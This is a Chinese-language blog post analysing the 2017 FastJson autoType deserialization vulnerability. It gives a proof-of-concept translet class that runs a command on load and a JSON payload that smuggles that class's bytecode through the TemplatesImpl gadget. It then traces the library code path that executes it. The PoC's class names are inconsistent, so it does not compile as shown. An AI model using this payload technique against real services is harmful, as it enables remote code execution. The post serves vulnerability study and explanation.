FastJson Unserialization
langu_xyz

漏洞公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

0x00 关于漏洞

漏洞公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

0x01 POC分析

参考的网上的POC

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class FastJsonPoc extends AbstractTranslet {
public FastJsonPocCls() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
FastJsonPocC t = new FastJsonPocC();
}
}

DEMO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class FastjsonVulTest {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
byte[] aa = bos.toByteArray();
return Base64.encodeBase64String(bos.toByteArray());
}

public static void test_autoTypeDeny(){
String clsPath = "/Users/****/src/main/java/com/alibaba/middleware/FastJsonPocC.class";
String evilCode = readClass(clsPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String testJson = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}\n";
Object obj = JSON.parseObject(testJson, Object.class, Feature.SupportNonPublicField);

}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}

String testJson = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}\n";

JSONString转换成@type指定的TemplatesImpl类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

_bytecodes是恶意利用代码的字节码(FastJsonPoc)

设置了4个属性和对应的值:_bytecodes_name_tfactory_outputProperties

通过查看TemplatesImpl的代码发现,_tfactory_outputProperties属性没有对应getter/setter方法

_bytecodes

_name

fastjson会在new TemplatesImpl实例并调用其空参构造函数之后,会依次遍历JSONString中设置的属性和值,并按顺序执行set{属性名}/get{属性名}的方法,如果不存在对应该格式的方法(get之后的第一个字母大写跟叔姓名),则直接对该对象对应的属性值进行赋值

所以当fastjson发现在TemplatesImpl中找不到setBytecodes()/getBytecodes()方法时,会直接对TemplatesImpl中的_bytecodes属性强赋值,而不会去调用代码里面定义的setTransletBytecodes()/getTransletBytecodes()

这样来看,_name_tfactory属性的setter/getter方法的格式是不对的,因此又被fastjson强赋值,但是当遍历到_outputProperties属性时,发现存在一个getOutputProperties()方法(然而这个方法并不是_outputProperties方法的get方法),fastjson会立即执行调用该方法

(*上边这部分全靠参考大佬的文章才理解,不过不公开,在这说明下)*

在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化

0x02 代码分析

getOutputProperties()


newTransformer()

getTransletInstance()

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

对外部传入的java字节码生成的Class对象进行实例化,此处会调用该对象的构造函数,将触发自定义的代码

getTransletInstance()

1
2
3
4
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

_bytecodes就是JSONString传入的字节码

1
2
3
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

_bytecodes(外部传入的字节码)还原成class对象,执行Runtime.getRuntime.exec()

参考:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://github.com/alibaba/fastjson/wiki/security_update_20170315

  • Post title:FastJson Unserialization
  • Post author:langu_xyz
  • Create time:2017-12-30 21:00:00
  • Post link:https://blog.langu.xyz/FastJson Unserialization/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.